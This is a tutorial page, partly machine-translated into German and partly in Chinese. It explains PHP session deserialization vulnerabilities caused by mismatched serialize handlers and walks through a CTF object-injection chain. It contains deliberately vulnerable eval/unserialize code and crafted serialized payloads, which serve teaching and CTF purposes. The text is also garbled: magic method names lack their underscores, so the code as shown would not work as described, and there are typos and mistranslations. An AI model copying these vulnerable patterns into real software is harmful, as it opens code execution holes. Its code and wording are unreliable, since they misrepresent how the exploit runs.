Heim >Backend-Entwicklung >PHP-Tutorial >Detaillierte Erläuterung der SESSION-Deserialisierungsverwendung von PHP

Detaillierte Erläuterung der SESSION-Deserialisierungsverwendung von PHP

php中世界最好的语言
php中世界最好的语言Original
2018-04-11 13:19:521717Durchsuche

Dieses Mal werde ich Ihnen die Verwendung der SESSION-Deserialisierung ausführlich erläutern. Was sind die Vorsichtsmaßnahmen bei der Verwendung der SESSION-Deserialisierung? Hier ist ein praktischer Fall.

Es gibt drei Konfigurationselemente in php.ini:

session.save_path="" --Legen Sie den Sitzungsspeicherpfad fest
session.save_handler=" " – Legen Sie eine benutzerdefinierte Speicherfunktion fest. Wenn Sie etwas anderes als den in PHP integrierten Sitzungsspeichermechanismus verwenden möchten, können Sie diese Funktion (Datenbank usw.) verwenden.
session.auto_start boolen – Geben Sie an, ob die Sitzung Modul startet eine Sitzung am Anfang der Anforderungssitzung, der Standardwert ist 0 und startet nicht
session.serialize_handler string – definiert den Namen des Prozessors, der für die Serialisierung/Deserialisierung verwendet wird. Standardmäßig PHP verwenden
Die oben genannten Optionen beziehen sich auf die Sitzungsspeicherung und die Sequenzspeicherung in PHP.
Bei der Installation mit der xampp-Komponente werden die oben genannten Konfigurationselemente wie folgt festgelegt:

session.save_path="D:xampptmp" gibt an, dass alle Sitzungsdateien unter xampp/tmp
session gespeichert werden. save_handler=files Zeigt an, dass die Sitzung in Form von Dateien gespeichert ist.
session.auto_start=0 Zeigt an, dass die Sitzung nicht standardmäßig gestartet wird.
session.serialize_handler=php Zeigt an, dass die Standard-Serialisierungs-Engine der Sitzung die verwendet PHP-Serialisierungs-Engine
In der obigen Konfiguration wird session.serialize_handler verwendet, um die Serialisierungs-Engine der Sitzung festzulegen. Zusätzlich zur Standard-PHP-Engine gibt es andere Engines. Die Speichermethoden der Sitzungen sind unterschiedlich.

php_binary: Die Speichermethode ist das ASCII-Zeichen, das der Länge des Schlüsselnamens entspricht + Schlüsselname + der durch die Funktion serialize() serialisierte Wert
php: Die Speichermethode ist der Schlüsselname + vertikaler Balken + danach Der von der Funktion serialize() serialisierte Wert
php_serialize(php>5.5.4): Die Speichermethode besteht darin, dass der von der Funktion serialize() serialisierte Wert
standardmäßig die PHP-Engine verwendet PHP. Wenn Sie andere Engines ändern möchten, fügen Sie einfach den Code ini_set('session.serialize_handler', 'Die Engine, die eingestellt werden muss'); hinzu. Der Beispielcode lautet wie folgt:

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
// do something

Speichermechanismus

Der Inhalt der Sitzung in PHP wird nicht im Speicher, sondern in Form von Dateien gespeichert. Die Methode wird durch das Konfigurationselement session.save_handler bestimmt. Standardmäßig wird es in einer Datei gespeichert.
Die gespeicherte Datei ist nach sess_sessionid benannt und der Inhalt der Datei ist der Inhalt nach der Sequenz des Sitzungswerts.
Angenommen, unsere Umgebung ist xampp, ist die Standardkonfiguration wie oben.
In der Standardkonfiguration:

<?php
session_start()
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>

Die letzte Sitzung wird wie folgt gespeichert und angezeigt:

Sie können sehen, dass der Wert von PHPSESSID jo86ud4jfvu81mbg28sl2s56c2 ist, und in xampp /tmp Der unter gespeicherte Dateiname lautet sess_jo86ud4jfvu81mbg28sl2s56c2 und der Inhalt der Datei lautet name|s:6:"spoock";. name ist der Schlüsselwert, s:6:"spoock"; ist das Ergebnis von serialize("spoock").

Unter der php_serialize-Engine:

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>

Der Inhalt der SESSION-Datei ist a:1:{s:4:"name";s:6: "Spuk";}. a:1 wird hinzugefügt, wenn php_serialize für die Serialisierung verwendet wird. Gleichzeitig werden durch die Verwendung von php_serialize sowohl der Schlüssel als auch der Wert in der Sitzung serialisiert.

Unter der php_binary-Engine:

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_binary&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>

Der Inhalt der SESSION-Datei ist namen:6:"spoock";. Da die Länge des Namens 4 beträgt, entspricht 4 EOT in der ASCII-Tabelle. Gemäß den Speicherregeln von php_binary lautet der letzte Name:6:"spoock";. (Plötzlich stellte ich fest, dass Zeichen mit einem ASCII-Wert von 4 nicht auf der Webseite angezeigt werden können. Bitte überprüfen Sie die ASCII-Tabelle selbst)

Serialisierung wird einfach verwendet

test.php

<?php
class syclover{
        var $func="";
        function construct() {
            $this->func = "phpinfo()";
        }
        function wakeup(){
            eval($this->func);
        }
}
unserialize($_GET[&#39;a&#39;]);
?>

serialisiert die eingehenden Parameter in Zeile 11. Wir können eine bestimmte Zeichenfolge übergeben, sie in ein Beispiel von Syclover deserialisieren und dann die Methode eval() ausführen. Wir besuchen localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}. Dann lautet der durch Deserialisierung erhaltene Inhalt:

object(syclover)[1]
  public &#39;func&#39; => string &#39;echo "spoock";&#39; (length=14)

Die letzte Seitenausgabe ist Spoock, was darauf hinweist, dass die von uns definierte Echo-Methode „Spoock“ endgültig ausgeführt wurde.
Dies ist eine Demonstration einer einfachen Serialisierungsschwachstelle

Serialisierungsrisiken in PHP-Sitzungen

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION[&#39;ryat&#39;] = &#39;|O:11:"PeopleClass":0:{}&#39;;

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是

a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
  &#39;a:1:{s:6:"spoock";s:24:"&#39; => 
    object(PHP_Incomplete_Class)[1]
      public &#39;PHP_Incomplete_Class_Name&#39; => string &#39;PeopleClass&#39; (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);
session_start();
class lemon {
    var $hi;
    function construct(){
        $this->hi = &#39;phpinfo();&#39;;
    }
    
    function destruct() {
         eval($this->hi);
    }
}

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:

class.php
<?php
highlight_string(file_get_contents(basename($_SERVER[&#39;PHP_SELF&#39;])));//show_source(FILE);
class foo1{        public $varr;        function construct(){                $this->varr = "index.php";        }        function destruct(){                if(file_exists($this->varr)){                        echo "<br>文件".$this->varr."存在<br>";                }                echo "<br>这是foo1的析构函数<br>";        }}
class foo2{        public $varr;        public $obj;        function construct(){                $this->varr = &#39;1234567890&#39;;                $this->obj = null;        }        function toString(){                $this->obj->execute();                return $this->varr;        }        function desctuct(){                echo "<br>这是foo2的析构函数<br>";        }}
class foo3{        public $varr;        function execute(){                eval($this->varr);        }        function desctuct(){                echo "<br>这是foo3的析构函数<br>";        }}
?>index.php
<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php

<?phpclass foo3{        public $varr=&#39;echo "spoock";&#39;;        function execute(){                eval($this->varr);        }}class foo2{        public $varr;        public $obj;        function construct(){                $this->varr = &#39;1234567890&#39;;                $this->obj = new foo3();        }        function toString(){                $this->obj->execute();                return $this->varr;        }}
class foo1{        public $varr;        function construct(){                $this->varr = new foo2();        }}
$obj = new foo1();print_r(serialize($obj));?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

总结

通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。

相信看了本文案例你已经掌握了方法,更多精彩请关注php中文网其它相关文章!

推荐阅读:

PHP怎么移除数组中的空值或者空元素

php实现一个日志功能

Das obige ist der detaillierte Inhalt vonDetaillierte Erläuterung der SESSION-Deserialisierungsverwendung von PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn